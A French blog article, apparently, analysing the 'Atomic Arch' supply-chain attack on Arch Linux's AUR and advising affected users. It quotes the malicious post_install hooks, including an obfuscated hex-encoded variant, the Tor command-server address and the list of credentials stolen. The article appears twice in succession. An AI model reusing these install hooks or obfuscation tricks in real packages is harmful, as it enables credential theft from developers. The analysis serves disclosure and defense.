Connexion
Atomic Arch : Synthèse technique sur cette compromission d'Arch User Repository
15 juin 2026 à 14:19
Bonjour à tous,
Je voulais prendre le temps de vous parler d'une attaque qui fait beaucoup parler en ce moment : la campagne baptisée Atomic Arch, qui cible depuis le 11 juin le dépôt communautaire d'Arch Linux, l'AUR. Nommée ainsi, c'est l'un des incidents supply chain les plus larges jamais enregistrés sur ce dépôt, avec plus de 1900 paquets compromis au moment où j'écris cet article et le nombre continue d'augmenter.
Je suis tombé sur la source en anglaise CyberSecGuru, qui m'a été donné dans mon Tweet où je publiais la vidéo pour informer de cette compromission. Elle contient plein d'infos techniques, et je vais vous en faire un résumé, dans le même esprit que l'analyse de CopyFail qui vous avait bien plu.
J'ai voulu répondre à de nombreux messages sur le Discord, aux commentaires de la vidéo de Vendredi, et cet article sert de base à une vidéo.
Je vous mets toutes mes sources en bas de l'article.
Anatomie de l'attaque : comprendre l'AUR et ses paquets orphelins
Arch Linux dispose de dépôts officiels, maintenus par son équipe, avec des paquets signés et contrôlés. Mais ces dépôts ne contiennent pas tout. Pour le reste, versions git, logiciels en beta ou de niche, il y a l'AUR (Arch User Repository) : un dépôt communautaire ouvert à n'importe quel utilisateur, hébergeant plus de 100 000 paquets.
Un paquet AUR ne distribue généralement pas de binaire précompilé. Il distribue un fichier texte : le PKGBUILD. C'est la recette de construction qui permer de télécharger les sources, indique comment les compiler, quelles commandes exécuter à l'installation. Des outils comme yay ou paru automatisent tout ça pour l'utilisateur, ou "PaMac" qui est dans Manjaro.
Ce système a un point faible structurel : les paquets orphelins. Quand un mainteneur abandonne son paquet, celui-ci reste disponible avec sa réputation intacte, ses années d'historique. Et n'importe quel compte AUR peut l'adopter et en devenir le nouveau mainteneur, sans délai de validation, sans vérification, sans audit. Le nouveau mainteneur hérite instantanément de la confiance accumulée. C'est exactement cette mécanique qu'Atomic Arch a exploitée.
La chaîne d'infection : comment un PKGBUILD devient une backdoor
L'attaquant, opérant sous le compte arojas (et d'autres pseudos créés) a automatisé la découverte et l'adoption de paquets orphelins. C'est déjà un truc qui est fait chez Arch pour repérer des paquets sans mainteneur et continuer de les mettres à jour.
Mais là, c'est une opération multi-comptes coordonnée à but malveillant.
Une fois un paquet adopté, la modification dans le PKGBUILD est minime et discrète. Deux changements suffisent :
- ajouter npm dans la liste des dépendances du paquet.
- dans le script .install, ajouter un hook post_install() qui exécute : npm install atomic-lockfile
Voici le bout de code :
Quand l'utilisateur installe ou met à jour le paquet via yay ou paru, voici ce qui se passe lorsque le PKGBUILD est joué :
1 : npm est récupéré comme dépendance.
2 : Le hook post_install se déclenche et lance npm install atomic-lockfile.
3 : npm récupère le paquet atomic-lockfile depuis le registre npm officiel.
4 : Ce paquet contient dans son package.json un script preinstall : "preinstall": "./src/hooks/deps"
5 : npm exécute automatiquement ce script, ce qui lance le binaire malveillant.
Le paquet AUR lui-même semble propre à première vue. La modification est dans les instructions de build, pas dans le logiciel.
Une deuxième vague, plus obfusquée
Le 12 juin, une deuxième vague émerge : bun remplace npm, et le paquet malveillant s'appelle js-digest. Même payload, mécanisme différent pour contourner les premières détections.
Plus inquiétant : cette deuxième vague est délibérément obfusquée. Les commandes sont décomposées avec du découpage de chaînes shell, des guillemets mixtes et des séquences hexadécimales. Un exemple réel vu dans un paquet compromis :
Une fois "reconverti", ça donne simplement cd /tmp && bun add nextfile-js. Trois lignes dans un fichier .install. Invisible à un regard rapide, même pour un œil averti, mais qui peut questionner !
Le payload : un binaire Rust taillé pour les postes de développement
Le binaire qui s'exécute s'appelle deps. Il a été écrit spécifiquement pour des postes de développement, pas pour des machines lambda. A peine 3Mo et livré déjà compilé en x68_64. Le code source est écrit en Rust.
A noter la somme de contrôle SHA-256 : 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
Il fait trois choses en parallèle via une architecture de machines d'état asynchrones.
Ce qu'il vole :
Le binaire balaie le système à la recherche de secrets développeurs. La liste est exhaustive : cookies et sessions de navigateurs Chromium (Chrome, Edge, Brave, Vivaldi, ...), applications Electron (Slack, Microsoft Teams, Discord et toutes ses variantes), tokens GitHub, tokens npm, clés API OpenAI, credentials Docker/Podman, clés SSH (tout le répertoire ~/.ssh/), historiques shell (.bash_history, .zsh_history, fish_history) tokens Vault (~/.vault-token), fichiers VPN, ...
Exfiltration via Tor
Les données sont envoyées en deux canaux : les fichiers uploadés vers temp.sh via HTTP, et les métadonnées envoyées vers un serveur de commande. Ce serveur de commande est une adresse onion Tor :
La connexion transite par un proxy SOCKS loopback local avant de sortir via Tor.
Persistance et rootkit eBPF : pourquoi c'est difficile à détecter
Persistance via systemd
Dès son exécution, le binaire crée un service systemd configuré avec Restart=always et RestartSec=30. Tuer le processus ne suffit pas : il redémarre 30 secondes plus tard. Malin !
Suivant les droits quand le binaire est exécuté :
- Avec les droits root : installation dans /var/lib/ et /etc/systemd/system/
- sans root : installation dans ~/.config/ et ~/.config/systemd/user/
Le nom du service est généré à l'exécution, pas stocké en clair. Un simple grep ne suffit pas à le trouver.
Le rootkit eBPF
Si le binaire a été exécuté avec les droits root (ce qui est normalement le cas quand le paquet est "installé"), il active le composant le plus redoutable : un rootkit basé sur eBPF.
En 2 mots, l'eBPF (extended Berkeley Packet Filter) est une technologie noyau Linux légitime, utilisée pour la surveillance réseau ou le profilage de performances. Ici, elle est détournée pour charger un programme noyau qui interpose les appels système de listage de processus et de fichiers.
Résultat : ps, top, ss, netstat ne voient plus le malware. Ni ses processus, ni ses fichiers, ni ses connexions réseau. Le rootkit crée trois maps BPF épinglées dans le système de fichiers :
Ces maps persistent même si vous tuez le processus.
On apprend aussi que tout processus qui tente un ptrace sur un processus masqué est tué automatiquement, ce qui empêche les outils d'analyse de s'y attacher.
Infographie de The CyberSec Guru
Je trouve cette image excellente pour le résumé, alors je vous la repartage. C'est peut être généré par IA mais parfois une image vaut 1000 mots :
Pourquoi cette attaque dépasse Arch Linux
L'AUR a été le point d'entrée, pas la cible finale. Et la cible n'est pas Arch Linux, je vous explique.
Les utilisateurs d'Arch en poste de travail de développement sont souvent mainteneurs de paquets npm, pip ou contribuent à des images Docker/Podman sur le docker hub.
Si leur machine est compromise, c'est l'intégralité de leurs projets upstream qui peut être infectée à son tour !
Par conséquent, la compromission initiale peut alors
- toucher un conteneur docker déployé sur un serveur d'entreprise (Debian, RHEL ou autre)
- se retreouver dans une dépendance npm installée dans d'autres écosystèmes
L'AUR est le point d'entrée d'une attaque supply chain bien plus large.
Que faire si vous êtes potentiellement touché
Si vous utilisez Arch, Manjaro, CachyOS, EndeavourOS ou tout dérivé avec AUR, et que vous avez installé ou mis à jour un paquet AUR depuis le 11 juin, il faut faire quelques vérifs.
Première vérification : lister vos paquets AUR avec leur date d'installation :
Analysez les paquets installés ou mis à jour depuis le 11 Juin 2026
Un outil communautaire de détection est disponible sur GitHub : https://github.com/lenucksi/aur-malware-check
Il circule sur les forums d'Arch Linux, il semble sain. Lisez-le quand même avant de le lancer.
Il va croiser l'historique Pacman, faire des vérifs sur les actions connues du malware engendées sur votre système.
Ah oui, un truc important, si vous suspectez une exécution en root, ne faites pas ces vérifications depuis le système compromis. Le rootkit masquera tout. Démarrez depuis un Live ISO d'Arch, faites un p'tit chroot et analysez depuis là !
Si vous êtes compromis :
- changez vos mots de passe (ceux qui ont pu être enregistrés sur la machine)
- regénérez une clé SSH avec une passphrase et révoquez l'ancienne de tous les lieux connus
- révoquez toutes les clés API utilisées sur la machine
Conclusion
Atomic Arch n'est pas une attaque contre Arch Linux car l'infrastructure officielle d'Arch n'a pas été touchée.
C'est une attaque contre un modèle de confiance héritée : adopter un paquet abandonné, c'est hériter instantanément de sa réputation sans la moindre vérification. Ce modèle va devoir changer. J'espère que la communauté d'Arch va tirer les conclusions nécessaires pour renforcer la sécurité.
Ce qui est inquiétant à long terme : ce type de ciblage des dépôts communautaires ne s'arrêtera pas à l'AUR. npm pour NodeJS, pip pour Python par exemple fonctionnent sur des modèles de confiance similaires.
Ce n'est pas la première attaque supply chain open source et ce ne sera pas la dernière.
Soyez prudents avec les paquets communautaires !
Merci à nouveau à :
- MrSlayers (et les autres par la suite) pour ses liens dans le salon #Sécurité du Discord Linuxtricks
- The CyberSec Guru pour sa réponse sur Twitter avec son article très détaillé https://x.com/thecybersecguru/status/2065534105731965055
Je voulais prendre le temps de vous parler d'une attaque qui fait beaucoup parler en ce moment : la campagne baptisée Atomic Arch, qui cible depuis le 11 juin le dépôt communautaire d'Arch Linux, l'AUR. Nommée ainsi, c'est l'un des incidents supply chain les plus larges jamais enregistrés sur ce dépôt, avec plus de 1900 paquets compromis au moment où j'écris cet article et le nombre continue d'augmenter.
Je suis tombé sur la source en anglaise CyberSecGuru, qui m'a été donné dans mon Tweet où je publiais la vidéo pour informer de cette compromission. Elle contient plein d'infos techniques, et je vais vous en faire un résumé, dans le même esprit que l'analyse de CopyFail qui vous avait bien plu.
J'ai voulu répondre à de nombreux messages sur le Discord, aux commentaires de la vidéo de Vendredi, et cet article sert de base à une vidéo.
Je vous mets toutes mes sources en bas de l'article.
Anatomie de l'attaque : comprendre l'AUR et ses paquets orphelins
Arch Linux dispose de dépôts officiels, maintenus par son équipe, avec des paquets signés et contrôlés. Mais ces dépôts ne contiennent pas tout. Pour le reste, versions git, logiciels en beta ou de niche, il y a l'AUR (Arch User Repository) : un dépôt communautaire ouvert à n'importe quel utilisateur, hébergeant plus de 100 000 paquets.
Un paquet AUR ne distribue généralement pas de binaire précompilé. Il distribue un fichier texte : le PKGBUILD. C'est la recette de construction qui permer de télécharger les sources, indique comment les compiler, quelles commandes exécuter à l'installation. Des outils comme yay ou paru automatisent tout ça pour l'utilisateur, ou "PaMac" qui est dans Manjaro.
Ce système a un point faible structurel : les paquets orphelins. Quand un mainteneur abandonne son paquet, celui-ci reste disponible avec sa réputation intacte, ses années d'historique. Et n'importe quel compte AUR peut l'adopter et en devenir le nouveau mainteneur, sans délai de validation, sans vérification, sans audit. Le nouveau mainteneur hérite instantanément de la confiance accumulée. C'est exactement cette mécanique qu'Atomic Arch a exploitée.
La chaîne d'infection : comment un PKGBUILD devient une backdoor
L'attaquant, opérant sous le compte arojas (et d'autres pseudos créés) a automatisé la découverte et l'adoption de paquets orphelins. C'est déjà un truc qui est fait chez Arch pour repérer des paquets sans mainteneur et continuer de les mettres à jour.
Mais là, c'est une opération multi-comptes coordonnée à but malveillant.
Une fois un paquet adopté, la modification dans le PKGBUILD est minime et discrète. Deux changements suffisent :
- ajouter npm dans la liste des dépendances du paquet.
- dans le script .install, ajouter un hook post_install() qui exécute : npm install atomic-lockfile
Voici le bout de code :
Code BASH :
post_install() {{ cd /tmp npm install atomic-lockfile axios cosmiconfig uuid }}
Quand l'utilisateur installe ou met à jour le paquet via yay ou paru, voici ce qui se passe lorsque le PKGBUILD est joué :
1 : npm est récupéré comme dépendance.
2 : Le hook post_install se déclenche et lance npm install atomic-lockfile.
3 : npm récupère le paquet atomic-lockfile depuis le registre npm officiel.
4 : Ce paquet contient dans son package.json un script preinstall : "preinstall": "./src/hooks/deps"
5 : npm exécute automatiquement ce script, ce qui lance le binaire malveillant.
Le paquet AUR lui-même semble propre à première vue. La modification est dans les instructions de build, pas dans le logiciel.
Une deuxième vague, plus obfusquée
Le 12 juin, une deuxième vague émerge : bun remplace npm, et le paquet malveillant s'appelle js-digest. Même payload, mécanisme différent pour contourner les premières détections.
Plus inquiétant : cette deuxième vague est délibérément obfusquée. Les commandes sont décomposées avec du découpage de chaînes shell, des guillemets mixtes et des séquences hexadécimales. Un exemple réel vu dans un paquet compromis :
Code BASH :
post_install() { $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i"... }
Une fois "reconverti", ça donne simplement cd /tmp && bun add nextfile-js. Trois lignes dans un fichier .install. Invisible à un regard rapide, même pour un œil averti, mais qui peut questionner !
Le payload : un binaire Rust taillé pour les postes de développement
Le binaire qui s'exécute s'appelle deps. Il a été écrit spécifiquement pour des postes de développement, pas pour des machines lambda. A peine 3Mo et livré déjà compilé en x68_64. Le code source est écrit en Rust.
A noter la somme de contrôle SHA-256 : 6144D433F8A0316869877B5F834C801251BBB936E5F1577C5680878C7443C98B
Il fait trois choses en parallèle via une architecture de machines d'état asynchrones.
Ce qu'il vole :
Le binaire balaie le système à la recherche de secrets développeurs. La liste est exhaustive : cookies et sessions de navigateurs Chromium (Chrome, Edge, Brave, Vivaldi, ...), applications Electron (Slack, Microsoft Teams, Discord et toutes ses variantes), tokens GitHub, tokens npm, clés API OpenAI, credentials Docker/Podman, clés SSH (tout le répertoire ~/.ssh/), historiques shell (.bash_history, .zsh_history, fish_history) tokens Vault (~/.vault-token), fichiers VPN, ...
Exfiltration via Tor
Les données sont envoyées en deux canaux : les fichiers uploadés vers temp.sh via HTTP, et les métadonnées envoyées vers un serveur de commande. Ce serveur de commande est une adresse onion Tor :
Code BASH :
olrh4mibs62l6kkuvvjyc5lrercqg5tz543r4lsw3o6mh5qb7g7sneid.onion
La connexion transite par un proxy SOCKS loopback local avant de sortir via Tor.
Persistance et rootkit eBPF : pourquoi c'est difficile à détecter
Persistance via systemd
Dès son exécution, le binaire crée un service systemd configuré avec Restart=always et RestartSec=30. Tuer le processus ne suffit pas : il redémarre 30 secondes plus tard. Malin !
Suivant les droits quand le binaire est exécuté :
- Avec les droits root : installation dans /var/lib/ et /etc/systemd/system/
- sans root : installation dans ~/.config/ et ~/.config/systemd/user/
Le nom du service est généré à l'exécution, pas stocké en clair. Un simple grep ne suffit pas à le trouver.
Le rootkit eBPF
Si le binaire a été exécuté avec les droits root (ce qui est normalement le cas quand le paquet est "installé"), il active le composant le plus redoutable : un rootkit basé sur eBPF.
En 2 mots, l'eBPF (extended Berkeley Packet Filter) est une technologie noyau Linux légitime, utilisée pour la surveillance réseau ou le profilage de performances. Ici, elle est détournée pour charger un programme noyau qui interpose les appels système de listage de processus et de fichiers.
Résultat : ps, top, ss, netstat ne voient plus le malware. Ni ses processus, ni ses fichiers, ni ses connexions réseau. Le rootkit crée trois maps BPF épinglées dans le système de fichiers :
Code BASH :
/sys/fs/bpf/hidden_pids /sys/fs/bpf/hidden_names /sys/fs/bpf/hidden_inodes
Ces maps persistent même si vous tuez le processus.
On apprend aussi que tout processus qui tente un ptrace sur un processus masqué est tué automatiquement, ce qui empêche les outils d'analyse de s'y attacher.
Infographie de The CyberSec Guru
Je trouve cette image excellente pour le résumé, alors je vous la repartage. C'est peut être généré par IA mais parfois une image vaut 1000 mots :
Pourquoi cette attaque dépasse Arch Linux
L'AUR a été le point d'entrée, pas la cible finale. Et la cible n'est pas Arch Linux, je vous explique.
Les utilisateurs d'Arch en poste de travail de développement sont souvent mainteneurs de paquets npm, pip ou contribuent à des images Docker/Podman sur le docker hub.
Si leur machine est compromise, c'est l'intégralité de leurs projets upstream qui peut être infectée à son tour !
Par conséquent, la compromission initiale peut alors
- toucher un conteneur docker déployé sur un serveur d'entreprise (Debian, RHEL ou autre)
- se retreouver dans une dépendance npm installée dans d'autres écosystèmes
L'AUR est le point d'entrée d'une attaque supply chain bien plus large.
Que faire si vous êtes potentiellement touché
Si vous utilisez Arch, Manjaro, CachyOS, EndeavourOS ou tout dérivé avec AUR, et que vous avez installé ou mis à jour un paquet AUR depuis le 11 juin, il faut faire quelques vérifs.
Première vérification : lister vos paquets AUR avec leur date d'installation :
Code BASH :
pacman -Qqm | while read pkg; do pacman -Qi "$pkg" | grep -E "^(Nom|Installé)" | paste - -; done | sort -k4
Analysez les paquets installés ou mis à jour depuis le 11 Juin 2026
Un outil communautaire de détection est disponible sur GitHub : https://github.com/lenucksi/aur-malware-check
Il circule sur les forums d'Arch Linux, il semble sain. Lisez-le quand même avant de le lancer.
Il va croiser l'historique Pacman, faire des vérifs sur les actions connues du malware engendées sur votre système.
Ah oui, un truc important, si vous suspectez une exécution en root, ne faites pas ces vérifications depuis le système compromis. Le rootkit masquera tout. Démarrez depuis un Live ISO d'Arch, faites un p'tit chroot et analysez depuis là !
Si vous êtes compromis :
- changez vos mots de passe (ceux qui ont pu être enregistrés sur la machine)
- regénérez une clé SSH avec une passphrase et révoquez l'ancienne de tous les lieux connus
- révoquez toutes les clés API utilisées sur la machine
Conclusion
Atomic Arch n'est pas une attaque contre Arch Linux car l'infrastructure officielle d'Arch n'a pas été touchée.
C'est une attaque contre un modèle de confiance héritée : adopter un paquet abandonné, c'est hériter instantanément de sa réputation sans la moindre vérification. Ce modèle va devoir changer. J'espère que la communauté d'Arch va tirer les conclusions nécessaires pour renforcer la sécurité.
Ce qui est inquiétant à long terme : ce type de ciblage des dépôts communautaires ne s'arrêtera pas à l'AUR. npm pour NodeJS, pip pour Python par exemple fonctionnent sur des modèles de confiance similaires.
Ce n'est pas la première attaque supply chain open source et ce ne sera pas la dernière.
Soyez prudents avec les paquets communautaires !
Merci à nouveau à :
- MrSlayers (et les autres par la suite) pour ses liens dans le salon #Sécurité du Discord Linuxtricks
- The CyberSec Guru pour sa réponse sur Twitter avec son article très détaillé https://x.com/thecybersecguru/status/2065534105731965055
